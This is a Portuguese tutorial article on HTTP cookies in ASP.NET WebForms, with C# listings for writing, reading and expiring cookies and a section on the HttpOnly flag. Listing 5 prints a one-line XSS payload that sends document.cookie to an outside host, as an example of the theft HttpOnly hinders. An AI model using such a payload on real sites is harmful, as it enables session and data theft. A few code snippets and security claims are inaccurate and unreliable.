Cookies são informações guardadas no nosso browser em pequenas partes de um documento que estão relacionadas diretamente a um determinado endereço na web. Em outras palavras, trata-se de partes de dados enviados para um determinado site da web. Estes ficam armazenados em um arquivo de texto criado localmente na máquina do usuário que está acessando aquele determinado site. Por exemplo, quando acessamos uma loja virtual e adicionamos itens ao nosso “carrinho” e não finalizamos a compra, posteriormente recebemos e-mail referente a aqueles produtos, isso porque as informações das compras ficaram guardadas nos cookies.
Existem vários tipos de cookies. São eles:
- Cookies de Sessão: São temporários e que permanecem no seu navegador até o fechamento do mesmo. Eles duram o mesmo tempo que a sua sessão no servidor. Mesmo que esteja definida sua expiração para uma data superior, os mesmos serão destruídos após o encerramento da sessão.
- Cookies Persistentes: São aqueles que permanecem mesmo que termine a sessão com o servidor. Eles são destruídos apenas quando excedem o seu tempo de expiração. Por padrão, o ASP .NET utiliza o cookie não persistente para armazenar uma sessão.
- Cookies de Desempenho: São utilizados para obter informações de como os usuários interagem dentro de uma determinada aplicação. No momento destas interações os cookies são responsáveis por colher informações como, número de páginas visitadas, mensagens de erro (quando apresentadas), tempo de duração de cada sessão, itens clicados em uma determinada página, dispositivo utilizado no acesso do usuário, browser utilizado pelo usuário, dentre outras informações. Uma ferramenta interessante para os cookies de desempenho é o Google Analytics (vide seção Links).
- Cookies de Funcionalidade: São responsáveis por efetuar alguma função ou ação dentro de uma determinada aplicação, como efetuar a autenticação de um usuário, definir o idioma regional do website, preferências e etc., obter informações do usuário logado e carregar um carrinho de compras com produtos pesquisados anteriormente;
- Cookies de Segmentação e Publicidade: São responsáveis por fornecer anúncios mais relevantes e interessantes para o usuário. São responsáveis por monitorarem os passos mesmo na web, assim recolhendo e registrando informações. Ou seja, o usuário poderá receber anúncios de terceiros, respeitando uma política de cookies entre os terceiros.
- Cookies estritamente necessários: São responsáveis por permitirem a navegação e utilização de algumas funcionalidades como, por exemplo, o carrinho compras em uma loja virtual. Em outras palavras, são cookies que se fazem necessário para o funcionamento de uma determinada aplicação.
Praticamente todos os navegadores são configurados por padrão para aceitarem automaticamente os cookies. Porém, podemos alterar as configurações para bloquear os mesmos ou alertar-nos no momento em que um cookie estiver sendo enviado. Mas essas práticas não são interessantes, pois o intuito dos cookies é facilitar a vida do usuário.
Existem diversas formas de gerenciar os cookies e depende de navegador para navegador.
Como funcionam
Os cookies funcionam com informação no formato de texto Chave – Valor, ou seja, para cada chave existe um valor específico associado. Eles ficam armazenados em diretórios diferentes, de acordo com cada navegador, e essas informações podem ser acessadas a qualquer momento, desde que o mesmo ainda não esteja expirado e/ou excluídos pelo usuário.
Listagem 1. Formato Cookies
valorNome = "Thiago Darlei Santana Souza";
valorNaturalidade = "Rio Real/BA";
valorIdade = "26 anos";
valorProfissao = "Analista Programador";
valorSexo = "Masculino";
valorCidade = "Rio Real/BA";
valorEndereco = "Rua Joaquim Matos";
Na Listagem 1 mostramos a disposição de como as informações ficam armazenadas no cookie. Para toda chave (ValorNome, ValorNaturalidade, ValorIdade, ValorProfissao e assim sucessivamente), tem-se um valor respectivo (“Thiago Darlei Santana Souza”, “Rio Real/BA”, “26 anos”, “Analista Programador”).
Ao enviar um cookie para o cliente, como faremos mais a frente, algumas informações adicionais são passadas:
- Expires: propriedade responsável por definir o tempo de expiração do cookie;
- Domain: propriedade responsável por definir em qual domínio os cookies poderão ser acessados, criados, removidos ou alterados. É possível determinar um domínio específico, desde que siga a nomenclatura do nome corretamente como, por exemplo, “globo.com” ou “intranet.globo”. Está é uma forma de, por exemplo, os cookies só poderem ser acessados na intranet de uma determinada empresa;
- Path: propriedade responsável por definir qual diretório terá acesso a armazenar e obter as informações dos cookies criados. Além do diretório principal, podemos definir os subdiretórios, limitando assim que apenas uma parte de uma determinada aplicação tenha acesso às informações do cookie.
- O Path e o domínio são Case-sensitive, ou seja, o caminho definido deve estar igual ao caminho real da aplicação, diferenciando letras maiúsculas de minúsculas, caso contrário, não irão funcionar como esperado.
- Secure: propriedade responsável por especificar qual protocolo de segurança será utilizado para o tráfego de informações entre os cookies. Existem duas opções disponíveis: SSL (Padrão global de segurança em tecnologia, que cria um canal criptografado entre um servidor web e um navegador) ou S-HTTP (mais conhecido como protocolo HTTP protegido, que é uma tecnologia de segurança em transações HTTP muito utilizada em comércios eletrônicos).
Limitações nos cookies
Por trafegar no protocolo HTTP sem criptografia, o cookie é limitado em vários aspectos, como por exemplo:
- Seu tamanho total não pode ultrapassar um valor total de 4kb;
- Cada site só tem permissão de criar, no máximo, 20 cookies por cliente (máquina);
- Cada cliente, segundo a Microsoft, pode ter até 300 cookies na sua máquina;
O motivo dessas limitações se dá pelo fato de que o intuito dos cookies não é guardar informações sigilosas, mas sim ter informações de comportamento do usuário nas respectivas páginas.
Em ASP.NET temos a possibilidade de utilizar os cookies por meio dos objetos Request e Response. A seguir listaremos alguns métodos existentes que facilitarão a nossa implementação:
- Response.Cookies(“idCookie”): responsável por efetuar a gravação do cookie;
- Response.Cookies(“idCookie”).Expires = data: responsável por definir a validade do cookie;
- Response.Cookies(“idCookie”).Domain = “globo.com”: responsável por definir o domínio do cookie;
- Response.Cookies(“idCookie”).Path = “/dados”: responsável por definir o diretório de páginas que o cookie será aplicado;
- Response.Cookies(“idCookie”)(“nomeValor”) = “Valor”: responsável por adicionar vários valores ao cookie;
- variavel = Request.Cookies(“idCookie”): responsável por ler o cookie;
- Variável = Request.Cookies(“idCookie”)(“nomeValor”): responsável por ler determinado valor do cookie;
A Classe HttpCookie do ASP.NET nos fornece todos os métodos necessários para criar e manipular nossos cookies nos cabeçalhos das nossas aplicações.
Para termos acesso a essas classes, basta acessarmos os seguintes namespaces:System.Web (Request e Response) e System.Web.HttpCookie (HttpCookie).
Neste artigo abordaremos apenas o ASP.NET C# com WebForms, pois a utilização de cookies utilizando MVC funciona de uma forma totalmente diferente (vide seção Links), não fazendo o uso das classes HttpCookie, Request e Response, e sim da classe ControllerActionInvoker, assim fugindo do foco do artigo.
Na Listagem 2 demonstraremos os métodos básicos necessários para efetuar a gravação, remoção e leitura de cookie utilizando o C#.
Listagem 2. Corpo HTML da nossa aplicação
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="CookieDevmedia.Cookie" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title> C# - Usando cookies </title>
</head>
<body>
<h1>Gravação, Leitura e Remoção de Cookie utilizando ASP. NET</h1>
<form id="form1" runat="server">
<div>
<asp:Button ID="btnGravar" runat="server" OnClick="btnGravar_Click" Text="Gravar Cookies"
Width="120px" Height="30px"
ToolTip="Efetua a gravação dos dados no cookies!" />
<br />
<asp:Button ID="btnLer" runat="server" OnClick="btnLer_Click"
Text="Ler Cookies" Width="120px" Height="30px"
ToolTip="Efetua a leitura dos cookies!" />
<br />
<asp:Button ID="btnRemoverCookie" runat="server" OnClick="btnRemoverCookie_Click"
Text="Remover Cookies" Width="120px" Height="30px"
ToolTip="Efetua a remoção dos dados no cookies!" />
<br />
<asp:Literal ID="ltrCookie" runat="server"></asp:Literal>
</div>
</form>
</body>
</html>
Listagem 3. Código C# para funcionamento da aplicação
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace CookieDevmedia
{
public partial class _Default : System.Web.UI.Page
{
/*
* Método 01
* Método responsável por efetuar a Gravação de um Cookie
*/
private void GravandoDadosCookie(string nomeCookie)
{
// Verificando se já existe o cookie na máquina do usuário
HttpCookie cookie = Request.Cookies[nomeCookie];
if (cookie == null)
{
// Criando a Instância do cookie
cookie = new HttpCookie(nomeCookie);
//Adicionando a propriedade "Nome" no cookie
cookie.Values.Add("valorNome", "Thiago Darlei Santana Souza");
//Adicionando a propriedade "Naturalidade" no cookie
cookie.Values.Add("valorNaturalidade", "Rio Real/BA");
//Adicionando a propriedade "Idade" no cookie
cookie.Values.Add("valorIdade", "26 anos");
//Adicionando a propriedade "Profissão" no cookie
cookie.Values.Add("valorProfissão", "Analista Programador");
//colocando o cookie para expirar em 365 dias
cookie.Expires = DateTime.Now.AddDays(365);
// Definindo a segurança do nosso cookie
cookie.HttpOnly = true;
// Registrando cookie
this.Page.Response.AppendCookie(cookie);
}
}
/*
* Método 02
* Método responsável por obter as propriedades de um cookie caso ele exista
*/
public void getPropriedadesCookie(string nomeCookie)
{
// Obtém a requisição com dos dados do cookie
HttpCookie cookie = ObterRequisicaoCookie(nomeCookie);
if (cookie != null)
{
// Separa os valores das propriedade
string[] valores = cookie.Value.ToString().Split('&');
// Varre os valores das propriedades encontrados
for (int i = 0; i < valores.Length; i++)
{
// Escreve os valores das propriedades encontradas
ltrCookie.Text += "Cookie - Propriedade: " + (i + 1) + " - " + valores[i] + "<br>";
}
}
else ltrCookie.Text = string.Empty;
}
/*
* Método 03
* Método responsável por Obter a requisição HttpCookie de um determinado cookie caso ele exista
*/
private HttpCookie ObterRequisicaoCookie(string nomeCookie)
{
try
{
// Retornando o cookie caso exista
return this.Page.Request.Cookies[nomeCookie];
}
catch
{
// Caso não exista o cookie informado, retorna NULL
return null;
}
}
/*
* Método 04
* Método responsável por remover um determinado cookie
*/
private void removerCookie(string nomeCookie)
{
// Removendo o Cookie
Response.Cookies[nomeCookie].Expires = DateTime.Now.AddDays(-1);
}
protected void btnGravar_Click(object sender, EventArgs e)
{
GravandoDadosCookie("THIAGO_SANTANA");
}
protected void btnLer_Click(object sender, EventArgs e)
{
getPropriedadesCookie("THIAGO_SANTANA");
}
protected void btnRemoverCookie_Click(object sender, EventArgs e)
{
removerCookie("THIAGO_SANTANA");
ltrCookie.Text = string.Empty;
}
}
}
Na Listagem 3 temos quatro métodos auxiliares para efetuarmos as operações básicas com os cookies:
- Método 01: Responsável por gravar os dados definidos, caso os mesmos não existam. Nosso cookie poderá ter várias propriedades, como Nome, Naturalidade, Idade e Profissão;
- Método 02: Responsável por efetuar a leitura das propriedades do cookie armazenado anteriormente. Passamos como parâmetro o nome do cookie que desejamos obter os dados e, caso exista, o método retornará uma instância do cookie. Caso ele não exista, será retornado o valor nulo. Com essa instância podemos acessar as propriedades que definimos no Método 01;
- Método 03: Responsável por obter um objeto HttpCookie que contém as informações relacionadas ao nome do cookie passado como parâmetro;
- Método 04: Responsável por remover um determinado cookie, passando como parâmetro o nome do mesmo. Em outras palavras, a remoção do cookie é efetuada quando o mesmo expira. A classe HttpCookie fica responsável por verificar os cookies expirados e automaticamente remover os mesmos.
Limitando Cookies dentro de um Escopo ou Domínio
Cada página da sua aplicação recebe todos os cookies referentes a mesma. Porém, podemos definir o escopo dos nossos cookies das seguintes formas:
- Podemos limitar os cookies, definindo em qual
pasta do servidor os mesmos podem ser acessados. Em outras palavras, nossos
cookies só estarão disponíveis em páginas HTML que estiverem dentro de uma
pasta definida por nós dentro da nossa aplicação, como mostra o exemplo a
seguir:
//Definição do Path (Caminho Físico) para os cookies na aplicação. cookie.Expires.Path = "/Cadastros";Assim, definimos que os cookies da nossa aplicação só podem ser acessados apenas por páginas que se encontram dentro da pasta “Cadastros”. - Podemos também limitar o acesso aos cookies
definindo o domínio e subdomínios que poderão ter acesso a essas informações
dentro da nossa aplicação, como mostra a Listagem
4.
Listagem 4. Definindo o domínio dos cookies em nossa aplicação//Definição do domínio para que os cookies sejam acessados em um domínio específico. Response.Cookies.("domain").Domain = "meudominio.com"; //Definição do domínio para que os cookies sejam acessados apenas na intranet. Response.Cookies.("domain").Domain = "intranet.globo.com";
Segurança nos cookies usando HTTPOnly
HTTPOnly é uma propriedade existente nos cookies responsável por definir uma segurança, onde as informações contidas neles não podem ser acessadas via ataques maliciosos, utilizamos esta propriedade em nosso método “GravandoDadosCookie”. Com isso, os dados gravados só poderão ser acessados via nossa aplicação, desde que esta propriedade esteja habilitada no navegador utilizado.
Com este modo de segurança os roubos de dados através de XSS – Cross Site Scripting são dificultados e não conseguem ler o conteúdo do mesmo. XSS é um tipo de vulnerabilidade do sistema de segurança em aplicações web, que ativam ataques maliciosos injetando scripts.
No exemplo da Listagem 5 temos um script malicioso utilizando XSS para obter as informações das propriedades dos cookies existente na máquina do usuário.
Listagem 5. Exemplo de tentativa de XSS
//Exemplo de um XSS para obter informações dos cookies.
location.href = 'http://globoesporte.globo.com/?cookies=' + document.cookie;
Os navegadores que suportam este tipo de segurança são:
- Chrome a partir da versão 24;
- Chrome Mobile a partir da versão 18;
- Firefox a partir da versão 18;
- IE a partir da versão 8;
- Opera a partir da versão 12.11;
- Opera Mobile a partir da versão 12;
- Safari a partir da versão 6.0.2;
- Android a partir da versão 4.0;
- Backberry a partir da versão 7.0
- iPhone 5 e iPhone 6.
Apesar de definirmos um tempo de expiração longo para os cookies, devemos nos atentar que os usuários podem limpar o histórico de cookies do browser no momento que quiserem, por isso, devemos nos atentar a forma como utilizamos os mesmos, sempre verificando se o cookie que queremos ainda se encontra disponível. Podemos verificar se o cookie existe utilizando o Método 03 da nossa Listagem 3. Caso retorne o valor nulo, é sinal de que o cookie foi expirado ou excluído pelo usuário.
Além disso, atente-se ao padrão de armazenamento de cookies em cada navegador. Não significa que um cookie que foi gravado utilizando o Internet Explorer estará acessível utilizando outro navegador como, por exemplo, o Chrome ou o Mozilla Firefox.
Podemos concluir que o uso dos cookies são de suma importância em nossas aplicações, tornando as nossas aplicações mais elegantes. Espero que tenham gostado do assunto.
Até o próximo artigo!
Links
HTTOnly
https://msdn.microsoft.com/pt-br/library/system.web.httpcookie.httponly(v=vs.110).aspx
HttpCookie
https://msdn.microsoft.com/pt-br/library/System.Web.HttpCookie(v=vs.110).aspx
Google Analytics
https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage
XSS – Cross Site Scripting
http://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/
Uso do Cookie com MVC
http://www.codeproject.com/Questions/384164/Create-Cookie-Step-by-step-in-MVC
http://stephenwalther.com/archive/2008/07/08/asp-net-mvc-tip-15-pass-browser-cookies-and-server-variables-as-action-parameters
